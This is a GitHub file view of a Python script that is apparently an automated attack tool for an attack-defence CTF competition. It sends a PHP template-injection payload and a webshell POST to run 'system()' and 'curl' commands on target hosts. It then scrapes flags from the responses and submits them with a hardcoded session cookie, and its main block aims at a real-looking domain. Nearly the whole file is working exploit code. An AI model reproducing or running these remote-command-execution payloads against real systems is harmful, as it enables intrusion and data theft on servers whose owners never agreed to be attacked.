Repository navigation
Expand file tree
/
Copy pathautomatic.py
More file actions
148 lines (119 loc) · 4.16 KB
/
Copy pathautomatic.py
File metadata and controls
148 lines (119 loc) · 4.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python3
# Author: mark0smith
# Date: 2018/6/4
# Description: 线下赛自动攻击脚本
import requests
import re
import socket
# 设置默认超时为3秒钟
TIMEOUT = 3
socket.setdefaulttimeout(TIMEOUT)
# 设置验证flag的正则表达式
RIGHT_RE = re.compile(r"KEY{[\w]+}")
class HackOneHost:
def __init__(self, host, port):
self.host = host
self.port = port
self.message = None
self.key = None
self.report_template = "[{status}] %s:%s {message}" % (self.host, self.port)
def exploit_workflow(self):
"""自动化攻击流程
"""
# 检测目标主机是否存活
if not self.check_host_alive_with_port():
self.reporter('x', 'Possible Down!')
return -1
# 开始攻击
if self.exploit_by_get() or self.exploit_by_post():
if self.post_right_key():
self.reporter('+', self.message)
return 0
else:
self.reporter('?', '{key} Not Submitted !'.format(key=self.key))
return -1
else:
self.reporter('!', '留意大佬！')
def reporter(self, status, message):
print(self.report_template.format(status=status, message=message))
def post_right_key(self):
"""用来提交正确的flag，返回的是 request 请求的返回 response """
__post_url = "http://192.168.100.1/Title/TitleView/savecomprecord"
__data = {
'answer': self.key
}
headers = {
'Cookie': 'PHPSESSID=elg7q85bl6eah8hapehbou32k1',
'User-Agent': "Mozilla/5.0"
}
try:
response = requests.post(__post_url, data=__data, headers=headers, timeout=TIMEOUT)
# 根据具体情况修改这部分
self.message = response.json()['msg']
return True
except Exception as e:
print(e)
return False
def check_host_alive_with_port(self):
try:
__socket = socket.socket(socket.AF_INET)
__address = (self.host, self.port)
__socket.connect(__address)
return True
except socket.timeout:
return False
except Exception as e:
print(e)
return False
def exploit_by_get(self):
"""这个是 GET 的请求"""
# 修改这里的 exp_path
exp_url_path = '/module/aciton/param1/%7B$%7Bsystem($_GET[' \
'x])%7D%7D?x=curl%20http://192.168.100.1/Getkey'
# 确保路径由 / 开头
if not exp_url_path.startswith('/'):
exp_url_path = '/' + exp_url_path
__url = 'http://{host}:{port}{url}'.format(
host=self.host,
port=self.port,
url=exp_url_path
)
try:
_req = requests.get(__url, timeout=TIMEOUT)
_req.raise_for_status()
# 使用正则表达式去获取 flag
_info = RIGHT_RE.findall(_req.text)
# 默认返回第一个符合要求的flag，可根据具体情况修改
self.key = _info[0]
return True
except Exception as e:
print(e)
return False
def exploit_by_post(self):
"""这个是 POST 的请求"""
# 修改这里的 exp_path 和 post 数据包
exp_url_path = '/88.php'
__data = {
'zzz': 'system("curl http://192.168.100.1/Getkey");'
}
# 确保路径由 / 开头
if not exp_url_path.startswith('/'):
exp_url_path = '/' + exp_url_path
__url = 'http://{host}:{port}{url}'.format(
host=self.host,
port=self.port,
url=exp_url_path
)
try:
_req = requests.post(__url, data=__data, timeout=TIMEOUT)
_req.raise_for_status()
_info = RIGHT_RE.findall(_req.text)
# 默认返回第一个符合要求的flag
self.key = _info[0]
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
a = HackOneHost('www.dutsec.cn', 80)
a.exploit_workflow()